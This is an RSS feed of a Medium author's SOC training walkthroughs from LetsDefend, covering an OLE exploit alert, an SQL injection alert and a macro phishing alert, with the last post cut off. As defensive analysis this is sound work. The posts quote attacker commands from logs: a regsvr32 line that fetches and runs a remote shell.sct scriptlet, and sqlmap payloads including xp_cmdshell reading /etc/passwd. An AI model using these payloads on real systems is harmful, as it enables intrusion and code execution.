<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Rizwann on Medium]]></title>
        <description><![CDATA[Stories by Rizwann on Medium]]></description>
        <link>https://medium.com/@rizzu1307?source=rss-c180536fc4b2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*3HT7csis4CPvVgUv</url>
            <title>Stories by Rizwann on Medium</title>
            <link>https://medium.com/@rizzu1307?source=rss-c180536fc4b2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 00:42:33 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@rizzu1307/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SOC336 — Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025–21298) — LetsDefend]]></title>
            <link>https://medium.com/@rizzu1307/soc336-windows-ole-zero-click-rce-exploitation-detected-cve-2025-21298-letsdefend-6b622f2633de?source=rss-c180536fc4b2------2</link>
            <guid isPermaLink="false">https://medium.com/p/6b622f2633de</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[zero-click-attack]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[lets-defend]]></category>
            <dc:creator><![CDATA[Rizwann]]></dc:creator>
            <pubDate>Sat, 06 Jun 2026 23:16:00 GMT</pubDate>
            <atom:updated>2026-06-06T23:16:00.684Z</atom:updated>
            <content:encoded><![CDATA[<p>Zero-click vulnerabilities are among the most dangerous classes of attacks because they require little to no user interaction to achieve code execution</p><p><em>Event ID: 336 &amp; Rule Name: SOC336 — Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025–21298)</em></p><p>In this investigation, I analyzed <strong>SOC336 — Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025–21298)</strong> within the LetsDefend platform. I traced how a malicious email attachment led to suspicious command execution and remote payload retrieval activity on the endpoint.</p><p>The case demonstrates how attackers exploit trusted Windows components, phishing delivery mechanisms, and native system utilities to establish execution while blending into legitimate operating system behavior.</p><h3>Alert Overview</h3><pre>Field               Value<br>Alert Name          Windows OLE Zero-Click RCE Exploitation Detected<br>Event ID            336<br>Severity            Critical<br>CVE                 CVE-2025-21298<br>Alert Type          Malware / Exploitation<br>Detection Rule      SOC336<br>Recipient           Austin@letsdefend.io<br>Sender              projectmanagement@pm.me<br>Verdict             True Positive</pre><h3>Understanding CVE-2025–21298</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q4MBjxYg4Ayj1hmgDIoFhw.png" /><figcaption>NVD — CVE-2025–21298</figcaption></figure><p>CVE-2025–21298 is a critical Windows OLE remote code execution vulnerability affecting the ole32.dll component responsible for Object Linking and Embedding (OLE) operations in Microsoft Windows.</p><p>The vulnerability can be triggered through specially crafted files containing malicious embedded OLE objects, commonly delivered through:</p><ul><li>RTF documents,</li><li>phishing attachments,</li><li>malicious embedded content.</li></ul><p>What makes this vulnerability particularly dangerous is its potential for <strong>zero-click exploitation</strong>, meaning code execution may occur when the file is previewed or processed without requiring extensive user interaction.</p><p>Successful exploitation may allow attackers to:</p><ul><li>execute arbitrary code,</li><li>download additional malware,</li><li>establish persistence,</li><li>exfiltrate sensitive information,</li><li>gain remote access to the endpoint.</li></ul><h3>Initial Investigation</h3><p>The investigation began with a review of the suspicious email delivered to the victim endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WJbd9oWg8PQsh-vF-exZ5w.png" /><figcaption>Phishing mail with malicious attachment</figcaption></figure><h3>Observed Email Activity</h3><p>The email:</p><ul><li>originated from an external sender,</li><li>contained a suspicious attachment,</li><li>triggered security detections,</li><li>aligned with known phishing delivery behavior.</li></ul><p>The sender IP was queried through threat intelligence feeds and was flagged as malicious based on previously observed suspicious activity.</p><p>This immediately elevated the alert severity and supported the likelihood of active exploitation attempts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6WoWegIZEx1UYMWbiqLebQ.png" /><figcaption>Attachment Scan results — VirusTotal</figcaption></figure><h3>Attachment Analysis</h3><p>The email attachment was identified as potentially malicious and associated with the CVE exploitation attempt.</p><p>The attachment likely leveraged:</p><ul><li>malicious embedded OLE objects,</li><li>crafted RTF behavior,</li><li>exploitation of vulnerable OLE parsing mechanisms.</li></ul><p>This type of attack commonly abuses Office document rendering behavior to initiate execution chains on the endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jcP2fh_0g_1ybcPIaPtk9w.png" /><figcaption>Log 1.1</figcaption></figure><h3>Log 1.1 — Process Execution Analysis</h3><p>The most critical evidence appeared within endpoint process execution logs.</p><h3>Suspicious Command Observed</h3><pre>C:\Windows\System32\cmd.exe /c regsvr32.exe /s /u /i:http://84.38.130.118.com/shell.sct scrobj.dll</pre><p>This command strongly indicates malicious activity and abuse of trusted Windows utilities.</p><h3>Breaking Down the Command</h3><h3>Parent Process Chain</h3><pre>OUTLOOK.EXE<br>   ↓<br>cmd.exe<br>   ↓<br>regsvr32.exe</pre><p>This process lineage is highly suspicious because normal email activity should not result in command-line execution followed by the retrieval of a remote script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xQrc_3x3lgEMqMzQ4ICcaA.png" /><figcaption>Log 1.2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OGHabj1Ne0WDvrIpwZcFkw.png" /><figcaption>Log 1.3</figcaption></figure><h3>Why was regsvr32.exe suspicious</h3><p>regsvr32.exe — legitimate Windows utility typically used to register or unregister a DLL.</p><p>However, attackers frequently abuse it as a <strong>Living-off-the-Land Binary (LOLBIN)</strong> because:</p><ul><li>Windows trusts it,</li><li>often whitelisted,</li><li>capable of executing remote scripts,</li><li>useful for bypassing security controls.</li></ul><h3>Suspicious Parameters Identified</h3><pre>Parameter                  Purpose<br>/s                         Silent execution<br>/u                         Unregister DLL<br>/i:                        Pass the remote script location<br>scrobj.dll                 Script execution via COM scripting</pre><p>The following remote resource was contacted:</p><pre>http://84.38.130.118.com/shell.sct</pre><p>This indicates:</p><ul><li>outbound network communication,</li><li>remote payload retrieval,</li><li>script-based execution activity.</li></ul><h3>Why This Matters</h3><p>This behavior aligns closely with:</p><ul><li>fileless malware execution,</li><li>scriptlet abuse,</li><li>LOLBIN exploitation,</li><li>defense evasion techniques.</li></ul><p>The .sct file extension represents a Windows Script Component commonly abused in malware campaigns.</p><p>Rather than dropping traditional executable malware to disk, attackers leverage trusted Windows utilities to execute scripts directly in memory, reducing detection opportunities.</p><h3>Network Activity Analysis</h3><p>Log management data confirmed that the endpoint outbound traffic to the malicious remote host was permitted.</p><p>This indicates:</p><ul><li>The remote script retrieval succeeded,</li><li>the endpoint established communication with attacker-controlled infrastructure, and</li><li>follow-on execution activity may have occurred.</li></ul><p>The successful outbound request significantly increases the confidence level of compromise.</p><h3>Threat Assessment</h3><p>This incident should be classified as a <strong>True Positive for an exploitation and malware execution event</strong>.</p><p>The investigation identified:</p><ul><li>phishing delivery,</li><li>malicious attachment activity,</li><li>exploitation behavior,</li><li>suspicious process lineage,</li><li>LOLBIN abuse,</li><li>remote script retrieval,</li><li>outbound C2 communication attempts.</li></ul><p>The observed activity strongly suggests active exploitation rather than benign behavior.</p><h3>MITRE ATT&amp;CK Mapping</h3><pre>Tactic                     Technique                                 ID<br>Initial Access             Phishing Attachment                       T1566.001<br>Execution                  Command and Scripting Interpreter: CMD    T1059.003<br>Execution c                Visual Basic / Script Execution           T1059<br>Defense Evasion            Signed Binary Proxy Execution: Regsvr32   T1218.010<br>Command and Control        Application Layer Protocol                T1071.001<br>Persistence                Script-Based Execution                    T1059<br>Exploitation               Exploit Public-Facing/Client Application  T1203</pre><p>Mapping activity to ATT&amp;CK techniques helps standardize incident analysis and improve threat detection engineering.</p><h3>Indicators of Compromise (IOCs)</h3><pre>IOC Type                    Value<br>Malicious URL              http://84.38.130.118.com/shell.sct<br>LOLBIN Utility             regsvr32.exe<br>Suspicious DLL             scrobj.dll<br>Parent Process             OUTLOOK.EXE<br>Child Process              cmd.exe<br>Network Activity           Remote script retrieval<br>Vulnerability              CVE-2025-21298</pre><p>These indicators can support:</p><ul><li>enterprise threat hunting,</li><li>SIEM detection tuning,</li><li>IOC blocking,</li><li>endpoint monitoring improvements.</li></ul><h3>Containment and Remediation</h3><h3>Immediate Response Actions</h3><ul><li>Isolate the affected endpoint</li><li>Block malicious IP/domain communication</li><li>Terminate suspicious regsvr32 activity</li><li>Remove downloaded payloads or persistence artifacts</li><li>Review additional endpoint activity</li><li>Reset potentially exposed credentials</li></ul><h3>Long-Term Security Improvements</h3><ul><li>Patch vulnerable Windows systems</li><li>Disable unnecessary OLE object handling where feasible</li><li>Monitor regsvr32 abuse activity</li><li>Restrict outbound script retrieval</li><li>Enhance EDR process lineage monitoring</li><li>Improve phishing attachment controls</li><li>Strengthen PowerShell and LOLBIN detections</li></ul><h3>Lessons Learned</h3><p>This investigation reinforced several important defensive security lessons.</p><h3>1. Trusted Windows Utilities Can Be Weaponized</h3><p>Attackers frequently abuse native binaries such as:</p><ul><li>regsvr32.exe,</li><li>PowerShell,</li><li>cmd.exe</li></ul><p>to evade traditional security controls.</p><h3>2. Process Lineage Provides Critical Context</h3><p>The chain:</p><pre>OUTLOOK.EXE → cmd.exe → regsvr32.exe</pre><p>immediately exposed abnormal execution behavior.</p><h3>3. Zero-Click and Low-Interaction Attacks Are High Risk</h3><p>Even limited interaction with malicious documents can trigger execution chains that download and execute remote payloads.</p><h3>4. Network Telemetry Strengthens Investigations</h3><p>Outbound requests to the attacker infrastructure provided strong evidence of exploitation.</p><h3>Final Verdict</h3><p>Based on the endpoint telemetry, process lineage, and network activity, this investigation confirms a True Positive exploitation attempt involving CVE-2025–21298.</p><p>The attack leveraged:</p><ul><li>phishing delivery,</li><li>malicious OLE content,</li><li>regsvr32 LOLBIN abuse,</li><li>remote script execution,</li><li>outbound payload retrieval.</li></ul><p>This case highlights the continued effectiveness of phishing-based exploitation combined with trusted Windows binaries. It emphasizes the importance of behavioral monitoring, process analysis, and proactive endpoint detection within modern SOC operations.</p><p><strong>REFERENCE LINK</strong></p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-21298">https://nvd.nist.gov/vuln/detail/CVE-2025-21298</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b622f2633de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC127 — SQL Injection Detected WalkThrough — LetsDefend]]></title>
            <link>https://medium.com/@rizzu1307/soc127-sql-injection-detected-walkthrough-letsdefend-893818023461?source=rss-c180536fc4b2------2</link>
            <guid isPermaLink="false">https://medium.com/p/893818023461</guid>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cybersecurity-awareness]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <dc:creator><![CDATA[Rizwann]]></dc:creator>
            <pubDate>Sat, 06 Jun 2026 15:32:01 GMT</pubDate>
            <atom:updated>2026-06-06T18:22:11.150Z</atom:updated>
            <content:encoded><![CDATA[<p>SQL injection remains one of the most dangerous and commonly exploited web application vulnerabilities because it can expose sensitive data, bypass authentication controls, and potentially lead to full backend database compromise.</p><p><em>Event ID: 127 &amp; Rule Name: SOC127 — SQL Injection Detected.</em></p><p>In this walkthrough, I investigate the <strong>SOC127 — SQL Injection Detected</strong> alert and analyze how an attacker systematically probed a public-facing web application using multiple SQL injection techniques observed in proxy logs.</p><p>In this walkthrough, I investigate the <strong>SOC127 — SQL Injection Detected</strong> alert and analyze how an attacker systematically probed a public-facing web application using multiple SQL injection techniques observed in proxy logs.</p><p>The investigation began with a SIEM alert, but the full attack narrative became clear after reviewing repeated malicious web requests targeting the same application parameter.</p><h3>Initial Alert Review</h3><p>The SIEM generated an alert indicating suspicious SQL injection activity against a web application endpoint.</p><p>During the initial triage phase, several indicators immediately stood out:</p><ul><li>Repeated requests against /index.php?id=</li><li>Multiple malformed SQL payloads</li><li>Automated attack signatures</li><li>Requests originating from a single external IP</li><li>Presence of the sqlmap User-Agent</li></ul><p>This strongly suggested active SQL injection reconnaissance and exploitation attempts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CqJLhOdi8efBC9A0NUZU5Q.jpeg" /><figcaption>Alert Triggered in SIEM</figcaption></figure><h3>Log Analysis</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uuWHMdFHTENqYJ1137TZ6Q.jpeg" /><figcaption>Log 1.1</figcaption></figure><h3>Log 1.1 — UNION-Based SQL Injection + XSS + RCE Testing</h3><h3>Observed Request</h3><pre>GET /?douj=3034 AND 1=1 UNION ALL SELECT 1,NULL,&#39;&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;&#39;,table_name FROM information_schema.tables WHERE 2&gt;1--/**/; EXEC xp_cmdshell(&#39;cat ../../../etc/passwd&#39;)#</pre><h3>Analysis</h3><p>This payload combines several attack techniques into a single request.</p><h3>SQL Injection</h3><pre>AND 1=1</pre><p>The attacker uses a TRUE condition to validate whether injected SQL statements are processed successfully.</p><h3>UNION-Based Extraction</h3><pre>UNION ALL SELECT ...</pre><p>The attacker attempts to merge malicious query output with legitimate application responses to retrieve database information from:</p><pre>information_schema.tables</pre><h3>Cross-Site Scripting (XSS)</h3><pre>&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;</pre><p>This payload tests whether user-controlled content is reflected back into the browser without sanitization.</p><h3>Remote Command Execution Attempt</h3><pre>EXEC xp_cmdshell(&#39;cat ../../../etc/passwd&#39;)</pre><p>This attempts operating system command execution through SQL Server functionality.</p><p>If successful, it could expose sensitive system files.</p><h3>Obfuscation</h3><pre>--/**/</pre><p>SQL comments are commonly used to bypass weak filtering mechanisms.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K-d-Ga-hSY1eb5qwRwzsSA.png" /><figcaption>Log 1.2</figcaption></figure><h3>Log 1.2 — Query Breaking / Fuzzing</h3><h3>Payload</h3><pre>GET /index.php?id=1&quot;).(,(,&#39;.(</pre><h3>Backend Interpretation</h3><pre>SELECT * FROM products WHERE id = &quot;1&quot;).(,(,&#39;.(&quot;</pre><h3>Analysis</h3><p>This payload attempts to break SQL query syntax using malformed characters such as:</p><ul><li>&#39;</li><li>&quot;</li><li>(</li><li>)</li><li>,</li></ul><p>Attackers commonly use these patterns during fuzzing and reconnaissance to identify:</p><ul><li>weak input validation,</li><li>database error leakage,</li><li>injectable parameters.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KTwwW-FYgFLZdbicAJJq_w.png" /><figcaption>Log 1.3</figcaption></figure><h3>Log 1.3 — XSS and SQLi Reflection Testing</h3><h3>Payload</h3><pre>GET /index.php?id=1&#39;QaEOtG&lt;&#39;&quot;&gt;PRVoKd</pre><h3>Backend Interpretation</h3><pre>SELECT * FROM products WHERE id=&#39;1&#39;QaEOtG&lt;&#39;&quot;&gt;PRVoKd&#39;</pre><h3>Analysis</h3><p>This payload combines:</p><ul><li>quote breaking,</li><li>HTML injection,</li><li>Reflection testing.</li></ul><p>The attacker is checking whether:</p><ul><li>Input is reflected in responses,</li><li>HTML content is interpreted,</li><li>SQL parsing errors occur.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0RhdKs7RhN5MikUlQ4ucNQ.png" /><figcaption>Log 1.4</figcaption></figure><h3>Log 1.4 — Boolean-Based SQL Injection</h3><h3>Payload</h3><pre>GET /index.php?id=1 AND 9816=9452-- bkmh</pre><h3>Analysis</h3><p>The condition:</p><pre>9816=9452</pre><p>always evaluates FALSE.</p><p>Attackers compare application behavior between:</p><ul><li>TRUE conditions,</li><li>FALSE conditions.</li></ul><p>Behavior differences help confirm SQL injection vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bSXUX-uYk71CMxny3dZIfQ.png" /><figcaption>Log 1.5</figcaption></figure><h3>Log 1.5 — UNION-Based Enumeration</h3><h3>Payload</h3><pre>id=(SELECT (<br>CASE<br>WHEN (4611=4629)<br>THEN 1<br>ELSE (SELECT 4629 UNION SELECT 6288)<br>END<br>))</pre><h3>Analysis</h3><p>This request combines:</p><ul><li>conditional logic,</li><li>UNION SELECT behavior,</li><li>database response manipulation.</li></ul><p>The attacker is testing whether UNION queries can be processed successfully for future data extraction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WQ_oebKl5wUyu58r-VDFNA.png" /><figcaption>Log 1.6</figcaption></figure><h3>Log 1.6 — MySQL Error-Based SQL Injection</h3><h3>Payload</h3><pre>EXTRACTVALUE(<br>7321,<br>CONCAT(...)<br>)</pre><h3>Analysis</h3><p>The attacker abuses the MySQL EXTRACTVALUE() function to intentionally trigger database errors.</p><p>Error-based SQL injection allows attackers to leak information through application error responses.</p><p>This payload also includes:</p><ul><li>hexadecimal encoding,</li><li>concatenated markers,</li><li>conditional testing.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gy5_82Oe8OyM5nCKcg_f1w.png" /><figcaption>Log 1.7</figcaption></figure><h3>Log 1.7 — PostgreSQL Fingerprinting</h3><p><strong>Decoded URL</strong>: GET /index.php?id=1) AND 2574=CAST((CHR(113)||CHR(107)||CHR(107)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (2574=2574) THEN 1 ELSE 0 END)):: text||(CHR(113)||CHR(112)||CHR(122)||CHR(106)||CHR(113)) AS NUMERIC) AND (9806=9806 HTTP/1.1&quot; 200 865 “-” “sqlmap/1.7.2#stable</p><h3>Payload Characteristics</h3><pre>CHR(...)<br>::text<br>CAST(... AS NUMERIC)</pre><h3>Analysis</h3><p>These functions are strongly associated with PostgreSQL.</p><p>The attacker is fingerprinting the backend database engine while simultaneously attempting:</p><ul><li>boolean testing,</li><li>type conversion errors,</li><li>payload execution verification.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aYvh0PSH0j6_XTDyL7iZWg.png" /><figcaption>Log 1.8</figcaption></figure><p><strong>Decoded URL</strong>: GET /index.php?id=1&#39;) AND 2574=CAST((CHR(113)||CHR(107)||CHR(107)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (2574=2574) THEN 1 ELSE 0 END)):: text||(CHR(113)||CHR(112)||CHR(122)||CHR(106)||CHR(113)) AS NUMERIC) AND (‘FiHf’=’FiHf HTTP/1.1&quot; 200 865 “-” “sqlmap/1.7.2#stable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3lFMrBGbEDzOPnNWJLWmwg.png" /><figcaption>Log 1.9</figcaption></figure><p><strong>Decoded URL info</strong>: “GET /index.php?id=1&#39; AND 2574=CAST((CHR(113)||CHR(107)||CHR(107)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (2574=2574) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(122)||CHR(106)||CHR(113)) AS NUMERIC) AND ‘qQpG’=’qQpG HTTP/1.1” 200 865 “-” “sqlmap/1.7.2</p><h3>Log 1.8 &amp; 1.9 — Encoded SQLi Payloads</h3><p>The final payloads continue using:</p><ul><li>encoded CHR() functions,</li><li>TRUE conditions,</li><li>CAST operations,</li><li>randomized markers.</li></ul><p>The repeated syntax variations suggest the attacker was systematically adapting payloads to identify exploitable behavior.</p><h3>Observed Exploitation Flow</h3><p>The request sequence demonstrates a structured SQL injection attack lifecycle.</p><h3>Step 1 — Reconnaissance</h3><p>Initial payloads tested:</p><ul><li>quotes,</li><li>brackets,</li><li>malformed syntax,</li><li>reflection behavior.</li></ul><h3>Step 2 — Vulnerability Validation</h3><p>Boolean-based payloads validated:</p><ul><li>TRUE/FALSE responses,</li><li>query manipulation capability.</li></ul><h3>Step 3 — Database Fingerprinting</h3><p>The attacker identified possible backend technologies using:</p><ul><li>PostgreSQL-specific syntax,</li><li>MySQL-specific functions.</li></ul><h3>Step 4 — Error Triggering</h3><p>Payloads intentionally generated database errors to leak behavioral information.</p><h3>Step 5 — Data Extraction Preparation</h3><p>UNION-based queries attempted to identify paths for future database extraction.</p><h3>Threat Assessment</h3><p>Taken together, the activity strongly indicates active SQL injection exploitation attempts rather than accidental malformed traffic.</p><p>The attack sequence demonstrates:</p><ul><li>progression,</li><li>adaptation,</li><li>backend fingerprinting,</li><li>exploitation methodology,</li><li>automated tooling usage.</li></ul><p>Legitimate users do not generate repeated structured SQL payloads targeting the same parameter in rapid succession.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_LsfBJ2o69p6E1FcTgpAcA.png" /><figcaption>VirusTotal — Source IP</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*soBC1Ef21VypMqEOHckNtg.png" /><figcaption>IPLookup Details</figcaption></figure><h3>Potential Impact</h3><p>If the application had been vulnerable, the attacker could potentially achieve:</p><ul><li>Database enumeration</li><li>Sensitive data disclosure</li><li>Authentication bypass</li><li>Administrative compromise</li><li>Remote code execution</li><li>Backend system access</li></ul><h3>MITRE ATT&amp;CK mapping</h3><pre>| Tactic          | Technique                                     | ID                                                                |<br>| --------------- | --------------------------------------------- | ----------------------------------------------------------------- |<br>| Initial Access  | Exploit Public-Facing Application             | T1190 attack.mitre                                                |<br>| Discovery       | Application behavior and backend probing      | Consistent with attack staging observed in logs ldamoredev.github |<br>| Collection      | Data extraction via UNION/error-based methods | SQLi extraction behavior medium+1                                 |<br>| Defense Evasion | Encoded payloads and syntax variation         | Filter bypass patterns ldamoredev.github+1                        |</pre><h3>Containment and Remediation</h3><p>This alert should be classified as a <strong>True Positive SQL Injection Exploitation Attempt</strong>.</p><h3>Immediate Response Actions</h3><ul><li>Block or rate-limit the source IP</li><li>Review web server logs</li><li>Inspect database query logs</li><li>Search for successful query execution</li><li>Verify whether sensitive data was accessed</li></ul><h3>Long-Term Security Improvements</h3><ul><li>Implement parameterized queries</li><li>Avoid dynamic SQL construction</li><li>Enforce strict input validation</li><li>Suppress verbose database errors</li><li>Apply least-privilege database permissions</li><li>Deploy Web Application Firewall (WAF) protections</li></ul><h3>Key Takeaways &amp; Skills Demonstrated</h3><p>Through this investigation, I strengthened my understanding of how real-world SQL injection attacks are identified, analyzed, and validated from a SOC analyst perspective. By reviewing proxy logs and attacker payload behavior, I learned how adversaries progress from reconnaissance and payload testing to database fingerprinting and exploitation attempts using automated tools such as sqlmap.</p><p>This investigation improved my practical skills in:</p><ul><li>Web attack detection and analysis</li><li>SQL injection payload identification</li><li>Log analysis and traffic correlation</li><li>Threat hunting through proxy and web logs</li><li>Understanding attacker methodology and exploit progression</li><li>MITRE ATT&amp;CK mapping for web exploitation activity</li><li>Identifying database fingerprinting techniques across MySQL and PostgreSQL</li><li>Distinguishing false positives from true exploitation attempts</li></ul><p>Most importantly, this walkthrough reinforced the importance of investigative thinking, behavioral analysis, and understanding attacker intent rather than relying solely on alert signatures.</p><p>From a defensive security perspective, this case highlighted the critical importance of secure coding practices, parameterized queries, input validation, proper error handling, and proactive monitoring of public-facing applications.</p><h3>Final Verdict</h3><p>Based on the proxy log analysis, this investigation confirms a structured SQL injection exploitation campaign against a public-facing application &amp; the source is external, who initiated the attack with the malicious intent of extracting sensitive data. This leads the enterprise to breach.</p><p>The attacker demonstrated:</p><ul><li>Boolean-based SQL injection,</li><li>Error-based probing,</li><li>UNION-based extraction attempts,</li><li>Database fingerprinting,</li><li>Encoded payload obfuscation,</li><li>Query-breaking fuzzing techniques,</li><li>Automated exploitation tooling.</li></ul><p>This activity should be treated as active hostile reconnaissance and attempted web application exploitation.</p><p><strong>References:</strong><br><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21298">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21298</a><br><a href="https://www.offsec.com/blog/cve-2025-21298/">https://www.offsec.com/blog/cve-2025-21298/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=893818023461" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC205 Walkthrough: Malicious Macro — LetsDefend]]></title>
            <link>https://medium.com/@rizzu1307/soc205-walkthrough-how-a-simple-invoice-email-turned-into-a-malware-incident-9a4471adddbd?source=rss-c180536fc4b2------2</link>
            <guid isPermaLink="false">https://medium.com/p/9a4471adddbd</guid>
            <category><![CDATA[soc205-walkthrough]]></category>
            <category><![CDATA[cybersecuri]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[threat-detection]]></category>
            <dc:creator><![CDATA[Rizwann]]></dc:creator>
            <pubDate>Thu, 04 Jun 2026 09:13:24 GMT</pubDate>
            <atom:updated>2026-06-06T18:18:40.850Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>A phishing email. A password-protected attachment. One click on </em><strong><em>Enable Content</em></strong><em>. That was all it took for a routine-looking document to turn into a full malware execution chain involving Microsoft Word, PowerShell, and persistence attempts.</em></blockquote><blockquote>Event ID: 231 &amp; Rule Name: SOC205 — Malicious Macro has been executed</blockquote><h3>Macro-enabled phishing attachments continue to remain one of the most effective initial access techniques used by attackers because they rely heavily on social engineering and trusted Microsoft Office functionality rather than sophisticated exploits.</h3><p>In this walkthrough, I investigated the <strong>SOC205 — Malicious Macro Has Been Executed (Event ID: 231)</strong> alert within the LetsDefend platform and analyzed how a phishing email containing a malicious Word document triggered PowerShell-based execution activity on the endpoint.</p><p>The investigation highlights how attackers abuse macro-enabled Office documents, native Windows processes, and PowerShell to establish initial execution and stage additional payload activity.</p><h3>Alert Overview</h3><pre>Field             Value<br>Alert Name        Malicious Macro Has Been Executed<br>Event             ID 231<br>Alert type        Malware / Malicious Macro Execution<br>User              Jayne<br>File Name         edit1-invoice.docm<br>File Path         C:\Users\LetsDefend\Downloads\edit1-invoice.docm<br>Hash              1a819d18c9a9de4f81829c4cd55a17f767443c22f9b30ca953866827e5d96fb0</pre><p>The alert was triggered after execution activity associated with a macro-enabled Microsoft Word document was observed on the endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7BDp6oyOqMFAAOSI7dJ0uQ.jpeg" /><figcaption>Phishing mail with Malicious attachment</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1M9lWsPCgQ975gx-9I74GA.jpeg" /><figcaption>Malicious Hash/File detection — VirusTotal</figcaption></figure><h3>Initial Attack Vector</h3><p>The incident originated from a phishing email themed around an invoice or payment-related request. Financial-themed phishing lures remain highly effective because they create urgency and blend naturally into common business workflows.</p><p>The email contained a password-protected ZIP archive:</p><pre>edit1-invoice.docm.zip</pre><p>Inside the archive was a macro-enabled Microsoft Word document:</p><pre>edit1-invoice.docm</pre><p>This delivery technique is commonly used to:</p><ul><li>bypass email inspection controls,</li><li>reduce attachment scanning visibility,</li><li>encourage user interaction.</li></ul><p>Unlike exploit-based attacks, this case relied entirely on user execution behavior.</p><p>Once the document was opened and macros were enabled, malicious code execution was initiated.</p><blockquote><strong><em>Visual cue:</em></strong><em> The attacker did not need an exploit here. The user action of opening the file and enabling macros was enough to trigger the next stage.</em></blockquote><h3>Why the Attachment Was Suspicious</h3><p>Several indicators immediately elevated the risk level of the attachment:</p><ul><li>Invoice-themed phishing lure</li><li>Password-protected ZIP archive</li><li>Macro-enabled .docm file extension</li><li>Suspicious execution chain</li><li>Malicious reputation associated with the file hash</li></ul><p>Public malware analysis associated the following SHA-256 hash with malicious activity:</p><pre>1a819d18c9a9de4f81829c4cd55a17f767443c22f9b30ca953866827e5d96fb0</pre><p>Although macro-enabled Office documents are not inherently malicious, they become highly suspicious when immediately followed by script execution and abnormal child process activity.</p><h3>Following the execution chain</h3><p>The investigation revealed a suspicious parent-child process relationship involving Microsoft Word and PowerShell.</p><p>A simple way to think about the chain is:</p><pre>Phishing Email<br>   ↓<br>Password-Protected ZIP<br>   ↓<br>Macro-Enabled Word Document<br>   ↓<br>WINWORD.EXE<br>   ↓<br>powershell.exe<br>   ↓<br>Payload download / suspicious execution</pre><p>This execution chain is significant because normal Office document activity rarely involves Microsoft Word spawning PowerShell processes.</p><p>The presence of:</p><pre>WINWORD.EXE → powershell.exe</pre><p>It is a strong behavioral indicator commonly associated with malicious Office macro execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B2GZ4P2IEHOVO7sdIAKZiQ.jpeg" /><figcaption>Log 1.1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8dVc69kq4XBy--9F19O2-A.jpeg" /><figcaption>Log 1.2</figcaption></figure><h3>Why PowerShell Was Important</h3><p>PowerShell activity significantly increased the severity of the investigation because it suggested the document was acting as an initial execution mechanism rather than a standalone malicious file.</p><p>Attackers commonly abuse PowerShell to:</p><ul><li>download additional payloads,</li><li>execute remote scripts,</li><li>establish persistence,</li><li>evade traditional detection mechanisms,</li><li>leverage native Windows tooling.</li></ul><p>This behavior aligns closely with common malware delivery chains observed in phishing campaigns.</p><p>From a SOC analyst&#39;s perspective, PowerShell telemetry often reveals the transition point between initial delivery and active 